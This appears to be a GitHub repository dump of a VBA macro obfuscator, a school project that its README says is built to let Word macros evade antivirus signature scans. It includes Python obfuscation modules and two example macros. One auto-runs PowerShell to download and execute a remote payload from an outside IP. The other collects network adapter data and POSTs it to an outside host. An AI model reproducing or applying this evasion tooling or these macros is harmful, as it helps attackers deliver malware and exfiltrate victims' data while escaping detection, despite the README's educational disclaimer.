Repository: bonnetn/vba-obfuscator Branch: master Commit: 390c3846a391 Files: 24 Total size: 29.8 KB Directory structure: gitextract_qj0627a1/ ├── .gitignore ├── .vscode/ │ └── settings.json ├── Dockerfile ├── README.md ├── example_macro/ │ ├── download_payload.vba │ └── wmi_example.vba ├── obfuscate.py ├── obfuscator/ │ ├── __init__.py │ ├── log.py │ ├── modifier/ │ │ ├── __init__.py │ │ ├── base.py │ │ ├── break_lines_too_long.py │ │ ├── comments.py │ │ ├── functions_vars.py │ │ ├── misc.py │ │ ├── numbers.py │ │ └── strings/ │ │ ├── __init__.py │ │ ├── base64.vbs │ │ ├── crypt.py │ │ ├── split.py │ │ └── strings.py │ ├── msdocument.py │ └── util.py └── requirements.txt ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ .idea/ **/*.pyc ================================================ FILE: .vscode/settings.json ================================================ { "python.pythonPath": "/usr/bin/python3" } ================================================ FILE: Dockerfile ================================================ FROM python:3.7-alpine WORKDIR /obfuscator COPY requirements.txt ./ RUN pip install --no-cache-dir -r requirements.txt COPY . . ENTRYPOINT [ "python", "./obfuscate.py" ] ================================================ FILE: README.md ================================================ # VBA obfuscator > Final year school project, obfuscate Word macros. This program obfuscates the Visual Basic code from Microsoft Word macros. The transformations applied on the code allows the macros to evade signature scans from Antivirus softwares. ## Usage example With Docker: ```sh cat YOUR_MACRO.vbs | docker run -i --rm bonnetn/vba-obfuscator /dev/stdin ``` This command will obfuscate the whole code. :warning: **Pay attention** to the first two lines! :warning: It is necessary to add a document variable to the word document before pasting the code. You can dispose of the first two lines once it has been executed once on the Word document. ## Development setup Install python3 and the requirements. > pip install -r requirements.txt To run the tests: > pytest Then run: > python3 obfuscate.py YOUR_MACRO.vbs ## Authors Thomas Leroy - thomas.leroy.mp@gmail.com Nicolas Bonnet – mail@nicolasbon.net ## How to use (YouTube) > Tutorial video on how to obfuscate your macros and put them in a Word Document. Click on the picture to see the video *(enable the subtitles)*. [![Demo](https://img.youtube.com/vi/L0DlPOLx2k0/0.jpg)](https://www.youtube.com/watch?v=L0DlPOLx2k0) ## Proof of concept - Obfuscation & Antivirus > Antivirus signature scan evasion. Click on the picture to see the video *(enable the subtitles)*. [![Demo](https://img.youtube.com/vi/6Yk0ka5v74I/0.jpg)](https://www.youtube.com/watch?v=6Yk0ka5v74I) ## Quick how to use... [![asciicast](https://asciinema.org/a/5Ptyf5oNGT7xtkZZvnqNDHMml.svg)](https://asciinema.org/a/5Ptyf5oNGT7xtkZZvnqNDHMml) ## Project report The report of this project is available [here](https://www.thole.fr/files/2019-02-10/Report.pdf). It is in French, so we are sorry for people that don't speak this lovely language. ## Disclaimer The VBA obfuscator tool is provided for educational and research purposes only. The authors of this project are no way responsible for any misuse of this tool. Do not attempt to violate the law with our project, we will not take any responsability for your actions. ================================================ FILE: example_macro/download_payload.vba ================================================ Sub Auto_Open() Dim exec As String Dim testvar As String exec = "powershell.exe ""IEX ((new-object net.webclient).downloadstring('http://10.0.0.13/payload.txt'))""" Shell (exec) End Sub Sub AutoOpen() Auto_Open End Sub Sub Workbook_Open() Auto_Open End Sub ================================================ FILE: example_macro/wmi_example.vba ================================================ Sub WMI() Dim oWMISrvEx As Object 'SWbemServicesEx Dim oWMIObjSet As Object 'SWbemServicesObjectSet Dim oWMIObjEx As Object 'SWbemObjectEx Dim oWMIProp As Object 'SWbemProperty Dim sWQL As String 'WQL Statement Dim n As Long 'Generic Counter sWQL = "Select * From Win32_NetworkAdapterConfiguration" Set oWMISrvEx = GetObject("winmgmts:root/CIMV2") Set oWMIObjSet = oWMISrvEx.ExecQuery(sWQL) Set objHTTP = CreateObject("MSXML2.ServerXMLHTTP") URL = "http://192.168.99.141:1234" Dim tab_data() For Each oWMIObjEx In oWMIObjSet 'Put a STOP here then View > Locals Window to see all properties If Not IsNull(oWMIObjEx.IPAddress) Then Debug.Print "IP:"; oWMIObjEx.IPAddress(0) objHTTP.Open "POST", URL, True objHTTP.setRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" objHTTP.send oWMIObjEx.IPAddress(0) Debug.Print "Host name:"; oWMIObjEx.DNSHostName For Each oWMIProp In oWMIObjEx.Properties_ If IsArray(oWMIProp.Value) Then For n = LBound(oWMIProp.Value) To UBound(oWMIProp.Value) Debug.Print oWMIProp.Name & "(" & n & ")", oWMIProp.Value(n) objHTTP.Open "POST", URL, True objHTTP.setRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" objHTTP.send oWMIProp.Value(n) Next Else Debug.Print oWMIProp.Name, oWMIProp.Value objHTTP.Open "POST", URL, True objHTTP.setRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" objHTTP.send oWMIProp.Value End If Next End If Next End Sub ================================================ FILE: obfuscate.py ================================================ #!/usr/bin/env python3 import argparse import logging import sys from obfuscator.log import configure_logging from obfuscator.modifier.base import Pipe from obfuscator.modifier.break_lines_too_long import BreakLinesTooLong from obfuscator.modifier.comments import StripComments from obfuscator.modifier.functions_vars import RandomizeNames from obfuscator.modifier.misc import RemoveEmptyLines, RemoveIndentation from obfuscator.modifier.numbers import ReplaceIntegersWithAddition, ReplaceIntegersWithXor from obfuscator.modifier.strings import CryptStrings, SplitStrings from obfuscator.msdocument import MSDocument class BadPathError(ValueError): pass def main(): configure_logging() LOG.info("VBA obfuscator - Thomas LEROY & Nicolas BONNET") parser = argparse.ArgumentParser(description='Obfuscate a VBA file.') parser.add_argument('input_file', type=str, action='store', help='path of the file to obfuscate') parser.add_argument('--output_file', type=str, action='store', help='output file (if no file is supplied, stdout will be used)') args = parser.parse_args() try: doc = MSDocument(args.input_file) except OSError as e: raise BadPathError("Could not open input file") from e LOG.info("Loaded the code.") Pipe(doc).run( SplitStrings(), CryptStrings(), RandomizeNames(), ReplaceIntegersWithAddition(), ReplaceIntegersWithXor(), StripComments(), RemoveIndentation(), BreakLinesTooLong(), RemoveEmptyLines(), ) LOG.info("Obfuscated the code.") if args.output_file: try: with open(args.output_file, "w") as f: f.write(doc.code) except OSError as e: raise BadPathError("Could not open output file") from e LOG.info("Wrote to file.") else: sys.stdout.write(doc.code) if __name__ == "__main__": try: LOG = logging.getLogger(__name__) main() except BadPathError as e: LOG.error("{}: {}.".format(e.args[0], e.__cause__.args[1])) sys.exit(2) except KeyboardInterrupt: sys.exit(1) ================================================ FILE: obfuscator/__init__.py ================================================ ================================================ FILE: obfuscator/log.py ================================================ import logging import sys def configure_logging(): # create a stdout handler handler = logging.StreamHandler(sys.stderr) handler.setLevel(logging.INFO) # create a logging format formatter = logging.Formatter('[%(levelname)s] %(message)s') handler.setFormatter(formatter) logging.basicConfig( handlers=[handler], level=logging.DEBUG, ) ================================================ FILE: obfuscator/modifier/__init__.py ================================================ ================================================ FILE: obfuscator/modifier/base.py ================================================ from obfuscator.msdocument import MSDocument class Modifier: def run(self, doc: MSDocument) -> None: raise NotImplementedError() class Pipe: def __init__(self, doc: MSDocument): self.doc = doc def run(self, *args: Modifier) -> None: for m in args: m.run(self.doc) ================================================ FILE: obfuscator/modifier/break_lines_too_long.py ================================================ import logging from typing import List from pygments import highlight from pygments.formatter import Formatter from pygments.lexers.dotnet import VbNetLexer from pygments.token import Token from obfuscator.modifier.base import Modifier from obfuscator.msdocument import MSDocument MAX_LINE_WIDTH = 500 LOG = logging.getLogger(__name__) def _do_split_line(line: str) -> str: return highlight(line, VbNetLexer(), _BreakLinesTooLong()) def _split_line_if_necessary(line: str) -> str: if len(line) >= MAX_LINE_WIDTH: LOG.info("Line '{:.30s}[...]' is too long.".format(line)) return _do_split_line(line) return line class BreakLinesTooLong(Modifier): def run(self, doc: MSDocument) -> None: code = doc.code code = code.split("\n") code = map(_split_line_if_necessary, code) code = "\n".join(code) doc.code = code def break_line(chunks: List[str]): lines = [''] for chunk in chunks: if len(lines[-1]) + len(chunk) < MAX_LINE_WIDTH: lines[-1] += chunk else: lines += [chunk] result = " _\n".join(lines) return result class _BreakLinesTooLong(Formatter): def format(self, tokensource, outfile): line = '' # First find out all the position where we can "cut" the string. break_points = [0] for ttype, value in tokensource: line += value if ttype == Token.Punctuation and value in ",+&": break_points.append(len(line)) break_points.append(len(line)) # Cut the strings at all the previously defined positions. chunks = [] for i in range(len(break_points) - 1): bp1 = break_points[i] bp2 = break_points[i + 1] chunks.append(line[bp1:bp2]) # Take all theses chunks and construct lines. outfile.write(break_line(chunks)) ================================================ FILE: obfuscator/modifier/comments.py ================================================ from pygments import highlight from pygments.formatter import Formatter from pygments.lexers.dotnet import VbNetLexer from pygments.token import Token from obfuscator.modifier.base import Modifier from obfuscator.msdocument import MSDocument class StripComments(Modifier): def run(self, doc: MSDocument) -> None: doc.code = highlight(doc.code, VbNetLexer(), _StripCommentsFormatter()) class _StripCommentsFormatter(Formatter): def format(self, tokensource, outfile): for ttype, value in tokensource: if ttype != Token.Comment: outfile.write(value) else: outfile.write(value[-1]) ================================================ FILE: obfuscator/modifier/functions_vars.py ================================================ import logging from pygments import highlight from pygments.formatter import Formatter from pygments.lexers.dotnet import VbNetLexer from pygments.token import Token import obfuscator.modifier.base import obfuscator.msdocument from obfuscator.util import get_random_string_of_random_length, get_variables_defined, get_variables_parameters, \ get_functions, get_variables_const LOG = logging.getLogger(__name__) BLACKLIST_SYMBOL = { "Workbook_Open", "AutoOpen", "Auto_Open", "Document_Open" } class RandomizeNames(obfuscator.modifier.base.Modifier): def run(self, doc: obfuscator.msdocument.MSDocument) -> None: vars = set(get_variables_defined(doc.code)) consts = set(get_variables_const(doc.code)) params = set(get_variables_parameters(doc.code)) functions = set(get_functions(doc.code)) names = {} for symbol in vars | consts | params | functions: if symbol not in BLACKLIST_SYMBOL: names[symbol] = get_random_string_of_random_length() doc.code = highlight(doc.code, VbNetLexer(), _RandomizeNamesFormatter(names)) class _RandomizeNamesFormatter(Formatter): def __init__(self, names): self.names = names def format(self, tokensource, outfile): left = set() for ttype, value in tokensource: if ttype == Token.Name.Function: outfile.write(self._get_name(value)) elif ttype == Token.Name: outfile.write(self._get_name(value)) else: left = left | set(ttype) outfile.write(value) def _get_name(self, name: str) -> str: if name in self.names: LOG.debug("Replacing {} with {}.".format(name, self.names[name])) return self.names[name] LOG.debug("Ignoring {}.".format(name)) return name ================================================ FILE: obfuscator/modifier/misc.py ================================================ import re from obfuscator.modifier.base import Modifier from obfuscator.msdocument import MSDocument class RemoveIndentation(Modifier): def run(self, doc: MSDocument) -> None: doc.code = re.sub(r'^\s*', '', doc.code, flags=re.MULTILINE) class RemoveEmptyLines(Modifier): def run(self, doc: MSDocument) -> None: doc.code = re.sub(r'(?:(\s*)\n)+', '\n', doc.code) ================================================ FILE: obfuscator/modifier/numbers.py ================================================ # Token.Literal.Number.Integer import random from pygments import highlight from pygments.formatter import Formatter from pygments.lexers.dotnet import VbNetLexer from pygments.token import Token from obfuscator.modifier.base import Modifier from obfuscator.msdocument import MSDocument class ReplaceIntegersWithXor(Modifier): def run(self, doc: MSDocument) -> None: doc.code = highlight(doc.code, VbNetLexer(), _XorFormatter()) class ReplaceIntegersWithAddition(Modifier): def run(self, doc: MSDocument) -> None: doc.code = highlight(doc.code, VbNetLexer(), _AdditionFormatter()) class _AdditionFormatter(Formatter): def format(self, tokensource, outfile): for ttype, value in tokensource: if ttype == Token.Literal.Number.Integer and random.random() > .5: v = int(value) x = random.randint(0, v) y = v - x outfile.write("({}+{})".format(x, y)) else: outfile.write(value) class _XorFormatter(Formatter): def format(self, tokensource, outfile): for ttype, value in tokensource: if ttype == Token.Literal.Number.Integer and random.random() > .5: v = int(value) x = random.randint(0, v) y = v ^ x outfile.write("({} Xor {})".format(x, y)) else: outfile.write(value) ================================================ FILE: obfuscator/modifier/strings/__init__.py ================================================ from obfuscator.modifier.strings.crypt import CryptStrings from obfuscator.modifier.strings.split import SplitStrings ================================================ FILE: obfuscator/modifier/strings/base64.vbs ================================================ ' A Base64 Encoder/Decoder. ' ' This module is used to encode and decode data in Base64 format as described in RFC 1521. ' ' Home page: www.source-code.biz. ' Copyright 2007: Christian d'Heureuse, Inventec Informatik AG, Switzerland. ' ' This module is multi-licensed and may be used under the terms ' of any of the following licenses: ' ' EPL, Eclipse Public License, V1.0 or later, http://www.eclipse.org/legal ' LGPL, GNU Lesser General Public License, V2.1 or later, http://www.gnu.org/licenses/lgpl.html ' GPL, GNU General Public License, V2 or later, http://www.gnu.org/licenses/gpl.html ' AGPL, GNU Affero General Public License V3 or later, http://www.gnu.org/licenses/agpl.html ' AL, Apache License, V2.0 or later, http://www.apache.org/licenses ' BSD, BSD License, http://www.opensource.org/licenses/bsd-license.php ' MIT, MIT License, http://www.opensource.org/licenses/MIT ' ' Please contact the author if you need another license. ' This module is provided "as is", without warranties of any kind. ' Option Explicit Private InitDone As Boolean Private Map1(0 To 63) As Byte Private Map2(0 To 127) As Byte ' Encodes a string into Base64 format. ' No blanks or line breaks are inserted. ' Parameters: ' S a String to be encoded. ' Returns: a String with the Base64 encoded data. ' Public Function Base64EncodeString(ByVal s As String) As String ' Base64EncodeString = Base64Encode(ConvertStringToBytes(s)) ' End Function ' Encodes a byte array into Base64 format. ' No blanks or line breaks are inserted. ' Parameters: ' InData an array containing the data bytes to be encoded. ' Returns: a string with the Base64 encoded data. ' Public Function Base64Encode(InData() As Byte) ' Base64Encode = Base64Encode2(InData, UBound(InData) - LBound(InData) + 1) ' End Function ' Encodes a byte array into Base64 format. ' No blanks or line breaks are inserted. ' Parameters: ' InData an array containing the data bytes to be encoded. ' InLen number of bytes to process in InData. ' Returns: a string with the Base64 encoded data. ' Public Function Base64Encode2(InData() As Byte, ByVal InLen As Long) As String ' If Not InitDone Then Init ' If InLen = 0 Then Base64Encode2 = "": Exit Function ' Dim ODataLen As Long: ODataLen = (InLen * 4 + 2) \ 3 ' output length without padding ' Dim OLen As Long: OLen = ((InLen + 2) \ 3) * 4 ' output length including padding ' Dim Out() As Byte ' ReDim Out(0 To OLen - 1) As Byte ' Dim ip0 As Long: ip0 = LBound(InData) ' Dim ip As Long ' Dim op As Long ' Do While ip < InLen ' Dim i0 As Byte: i0 = InData(ip0 + ip): ip = ip + 1 ' Dim i1 As Byte: If ip < InLen Then i1 = InData(ip0 + ip): ip = ip + 1 Else i1 = 0 ' Dim i2 As Byte: If ip < InLen Then i2 = InData(ip0 + ip): ip = ip + 1 Else i2 = 0 ' Dim o0 As Byte: o0 = i0 \ 4 ' Dim o1 As Byte: o1 = ((i0 And 3) * &H10) Or (i1 \ &H10) ' Dim o2 As Byte: o2 = ((i1 And &HF) * 4) Or (i2 \ &H40) ' Dim o3 As Byte: o3 = i2 And &H3F ' Out(op) = Map1(o0): op = op + 1 ' Out(op) = Map1(o1): op = op + 1 ' Out(op) = IIf(op < ODataLen, Map1(o2), Asc("=")): op = op + 1 ' Out(op) = IIf(op < ODataLen, Map1(o3), Asc("=")): op = op + 1 ' Loop ' Base64Encode2 = ConvertBytesToString(Out) ' End Function ' Decodes a string from Base64 format. ' Parameters: ' s a Base64 String to be decoded. ' Returns a String containing the decoded data. ' Public Function Base64DecodeString(ByVal s As String) As String ' If s = "" Then Base64DecodeString = "": Exit Function ' Base64DecodeString = ConvertBytesToString(Base64Decode(s)) ' End Function ' Decodes a byte array from Base64 format. ' Parameters ' s a Base64 String to be decoded. ' Returns: an array containing the decoded data bytes. Public Function Base64Decode(ByVal s As String) As Byte() If Not InitDone Then Init Dim IBuf() As Byte: IBuf = ConvertStringToBytes(s) Dim ILen As Long: ILen = UBound(IBuf) + 1 ' If ILen Mod 4 <> 0 Then Err.Raise vbObjectError, , "Length of Base64 encoded input string is not a multiple of 4." If ILen Mod 4 <> 0 Then Err.Raise vbObjectError, , "" Do While ILen > 0 If IBuf(ILen - 1) <> Asc("=") Then Exit Do ILen = ILen - 1 Loop Dim OLen As Long: OLen = (ILen * 3) \ 4 Dim Out() As Byte ReDim Out(0 To OLen - 1) As Byte Dim ip As Long Dim op As Long Do While ip < ILen Dim i0 As Byte: i0 = IBuf(ip): ip = ip + 1 Dim i1 As Byte: i1 = IBuf(ip): ip = ip + 1 Dim i2 As Byte: If ip < ILen Then i2 = IBuf(ip): ip = ip + 1 Else i2 = Asc("A") Dim i3 As Byte: If ip < ILen Then i3 = IBuf(ip): ip = ip + 1 Else i3 = Asc("A") If i0 > 127 Or i1 > 127 Or i2 > 127 Or i3 > 127 Then _ ' Err.Raise vbObjectError, , "Illegal character in Base64 encoded data." Err.Raise vbObjectError, , "" Dim b0 As Byte: b0 = Map2(i0) Dim b1 As Byte: b1 = Map2(i1) Dim b2 As Byte: b2 = Map2(i2) Dim b3 As Byte: b3 = Map2(i3) If b0 > 63 Or b1 > 63 Or b2 > 63 Or b3 > 63 Then _ ' Err.Raise vbObjectError, , "Illegal character in Base64 encoded data." Err.Raise vbObjectError, , "" Dim o0 As Byte: o0 = (b0 * 4) Or (b1 \ &H10) Dim o1 As Byte: o1 = ((b1 And &HF) * &H10) Or (b2 \ 4) Dim o2 As Byte: o2 = ((b2 And 3) * &H40) Or b3 Out(op) = o0: op = op + 1 If op < OLen Then Out(op) = o1: op = op + 1 If op < OLen Then Out(op) = o2: op = op + 1 Loop Base64Decode = Out End Function Private Sub Init() Dim c As Integer, i As Integer ' set Map1 i = 0 For c = Asc("A") To Asc("Z"): Map1(i) = c: i = i + 1: Next For c = Asc("a") To Asc("z"): Map1(i) = c: i = i + 1: Next For c = Asc("0") To Asc("9"): Map1(i) = c: i = i + 1: Next Map1(i) = Asc("+"): i = i + 1 Map1(i) = Asc("/"): i = i + 1 ' set Map2 For i = 0 To 127: Map2(i) = 255: Next For i = 0 To 63: Map2(Map1(i)) = i: Next InitDone = True End Sub Private Function ConvertStringToBytes(ByVal s As String) As Byte() Dim b1() As Byte: b1 = s Dim l As Long: l = (UBound(b1) + 1) \ 2 If l = 0 Then ConvertStringToBytes = b1: Exit Function Dim b2() As Byte ReDim b2(0 To l - 1) As Byte Dim p As Long For p = 0 To l - 1 Dim c As Long: c = b1(2 * p) + 256 * CLng(b1(2 * p + 1)) If c >= 256 Then c = Asc("?") b2(p) = c Next ConvertStringToBytes = b2 End Function ' Private Function ConvertBytesToString(b() As Byte) As String ' Dim l As Long: l = UBound(b) - LBound(b) + 1 ' Dim b2() As Byte ' ReDim b2(0 To (2 * l) - 1) As Byte ' Dim p0 As Long: p0 = LBound(b) ' Dim p As Long ' For p = 0 To l - 1: b2(2 * p) = b(p0 + p): Next ' Dim s As String: s = b2 ' ConvertBytesToString = s ' End Function ================================================ FILE: obfuscator/modifier/strings/crypt.py ================================================ import base64 import os import logging import random from typing import List from pygments import highlight from pygments.lexers.dotnet import VbNetLexer from obfuscator.modifier.base import Modifier from obfuscator.modifier.strings.strings import StringFormatter from obfuscator.msdocument import MSDocument from obfuscator.util import get_random_string, split_var_declaration_from_code LOG = logging.getLogger(__name__) VBA_XOR_FUNCTION = split_var_declaration_from_code(""" Private Function unxor(ciphertext As Variant, start As Integer) Dim cleartext As String Dim key() As Byte key = Base64Decode(ActiveDocument.Variables("{}")) cleartext = "" For i = LBound(ciphertext) To UBound(ciphertext) cleartext = cleartext & Chr(key(i+start) Xor ciphertext(i)) Next unxor = cleartext End Function """) with open(os.path.join(os.path.dirname(__file__), "base64.vbs")) as f: VBA_BASE64_FUNCTION = split_var_declaration_from_code(f.read()) class CryptStrings(Modifier): def run(self, doc: MSDocument) -> None: LOG.debug('Generating document variable name.') formatter = EncryptStringsFmtr() doc.code = highlight(doc.code, VbNetLexer(), formatter) document_var = get_random_string(16) code_prefix, code_suffix = split_var_declaration_from_code(doc.code) # Merge the codes: we must keep the global variables declarations on top. doc.code = code_prefix + VBA_BASE64_FUNCTION[0] + VBA_XOR_FUNCTION[0] + \ code_suffix + VBA_BASE64_FUNCTION[1] + VBA_XOR_FUNCTION[1].format(document_var) b64 = base64.b64encode(bytes(formatter.crypt_key)).decode() MAX_LENGTH = 512 printable_b64 = [b64[i:i + MAX_LENGTH] for i in range(0, len(b64), MAX_LENGTH)] printable_b64 = '" & _\n"'.join(printable_b64) LOG.info('''Paste this in your VBA editor to add the Document Variable: ActiveDocument.Variables.Add Name:="{}", Value:="{}"'''.format(document_var, printable_b64)) doc.code = '"Use this line to add the document variable to you file and then remove these comments."\n' + \ 'ActiveDocument.Variables.Add Name:="{}", Value:="{}"\n'.format(document_var, printable_b64) + doc.code doc.doc_var[document_var] = b64 class EncryptStringsFmtr(StringFormatter): def __init__(self): super().__init__() self.crypt_key = [] def _obfuscate_string(self, s: str) -> str: s = s[1:-1] LOG.debug("Generating XOR key for '{}'.".format(s)) start = len(self.crypt_key) key = _get_random_key(len(s)) self.crypt_key += key LOG.debug("XOR key will be at [{}; {}].".format(start, len(key))) ciphertext = _xor_crypt(s, key) array = _to_vba_array(ciphertext) LOG.debug("Encrypted string to VBA Array -> {}.".format(array)) return 'unxor({},{})'.format(array, start) def _run_on_string(self, s: str): return self._obfuscate_string(s) def _get_random_key(n: int) -> List[int]: return [random.randint(0, 255) for _ in range(n)] def _xor(t): a, b = t return a ^ b def _xor_crypt(msg, key): msg = map(ord, msg) str_key = zip(msg, key) return map(_xor, str_key) def _to_vba_array(arr): arr = map(str, arr) numbers = ",".join(arr) return "Array({})".format(numbers) ================================================ FILE: obfuscator/modifier/strings/split.py ================================================ import logging import random from pygments import highlight from pygments.lexers.dotnet import VbNetLexer from obfuscator.modifier.base import Modifier from obfuscator.modifier.strings.strings import StringFormatter from obfuscator.msdocument import MSDocument LOG = logging.getLogger(__name__) class SplitStrings(Modifier): def run(self, doc: MSDocument) -> None: doc.code = highlight(doc.code, VbNetLexer(), _SplitStringsFmtr()) class _SplitStringsFmtr(StringFormatter): def __init__(self): super().__init__() self.crypt_key = [] def _split_string(self, s: str) -> str: if len(s) > 8: s = s.strip('"') pos = _split_string(s) splitted_string = '"{}" & "{}"'.format(s[:pos], s[pos:]) LOG.debug("Splitted '{}' in two.".format(s)) return splitted_string else: return s def _run_on_string(self, s: str): return self._split_string(s) def _split_string(s: str) -> int: """ Split a string in two. This function will never split an escaped double quote ("") in half. :param s: :return: """ split_possibilities = len(s) - 1 impossible_split_pos = s.count('"') // 2 if split_possibilities - impossible_split_pos <= 0: return -1 split_possibilities -= impossible_split_pos i = 0 pos = random.randint(1, split_possibilities) while pos > 0: if s[i] == '"': i = i + 1 i = i + 1 pos = pos - 1 return i ================================================ FILE: obfuscator/modifier/strings/strings.py ================================================ import logging from pygments.formatter import Formatter from pygments.token import Token LOG = logging.getLogger(__name__) IGNORED_SYMBOLS = {"Const", "Declare"} class StringFormatter(Formatter): def __init__(self, **options): super().__init__(**options) self.lastval = "" self.lasttype = None def _run_on_string(self, s: str) -> str: raise NotImplementedError() def format(self, tokensource, outfile): skip_line = False for ttype, value in tokensource: if self.lasttype: if self.lasttype == ttype: self.lastval += value else: if "\n" in self.lastval: skip_line = False if ttype == Token.Keyword and value in IGNORED_SYMBOLS: #  Skip the line if it is a const. skip_line = True # Crypt strings unless we are skipping the line. if self.lasttype == Token.Literal.String: if skip_line: outfile.write(self.lastval) else: outfile.write(self._run_on_string(self.lastval)) else: outfile.write(self.lastval) self.lastval = value else: self.lastval = value self.lasttype = ttype outfile.write(value) ================================================ FILE: obfuscator/msdocument.py ================================================ class MSDocument: def __init__(self, path: str): with open(path, "r") as f: self.code = f.read() self.doc_var = {} ================================================ FILE: obfuscator/util.py ================================================ import random import re import string def get_random_string(size: int) -> str: return ''.join(random.choice(string.ascii_letters) for _ in range(size)) def get_random_string_of_random_length() -> str: var_length = random.randint(10, 14) return get_random_string(var_length) def replace_whole_word(content: str, var_name: str, new_name: str) -> str: var_name = re.escape(var_name) new_name = re.escape(new_name) pattern = r"\b{}\b".format(var_name) result = re.sub(pattern, new_name, content) return result def get_functions(code): """ Return all functions names defined in the code. :param code: :return: """ result = re.finditer("(?:Function|Sub)[ ]+(\w+)\(", code, flags=re.M) result = map(lambda x: x.group(1), result) result = list(result) number_of_routines = len(re.findall("(?:End Sub|End Function)", code)) assert number_of_routines <= len(result), "Could not find the name of all the routines" return result def get_variables_parameters(code): """ Return all parameters (arguments of functions) names defined in the code. :param code: :return: """ var_names = re.finditer("(?:Function|Sub)[ ]+\w+\(([^\n\)]+)\)", code, flags=re.M) var_names = map(lambda x: x.group(1), var_names) var_names = map(extract_variables, var_names) result = [] for names in var_names: result += names return result def get_variables_const(code): """ Return all variables names defined such as: "Const MyVar..." :param code: :return: """ var_names = re.finditer("(?:Const|Set)[ ]+(\w+)[ ]+=", code, flags=re.M) var_names = map(lambda x: x.group(1), var_names) return var_names def get_variables_defined(code): """ Return all variables names defined such as: "Dim MyVar..." :param code: :return: """ var_names = re.finditer("^\s*.*(?:Dim(?: Preserve)?|Private|Public)[ ]((?:\w+(?:[ ]+As[ ]+\w+)?[, ]*)+)", code, flags=re.M) var_names = map(lambda x: x.group(1), var_names) var_names = map(extract_variables, var_names) result = [] for names in var_names: result += names return result def extract_variables(text): text = text.split(",") for i, s in enumerate(text): s = s.strip() s = s.split() if s[0] == "ByVal": s = s[1] else: s = s[0] text[i] = s return text def split_var_declaration_from_code(code): """ Extract the global variable declarations (prefix) at the beginning of the code from the actual code (suffix)""" regex = r'(^(?:\s|.)*?)(.*?(?:Sub|Function)(?:\s|.)*$)' match = re.match(regex, code) assert len(match.groups()) == 2, "Could not find the prefix & suffix of the code" return match.group(1), match.group(2) ================================================ FILE: requirements.txt ================================================ pygments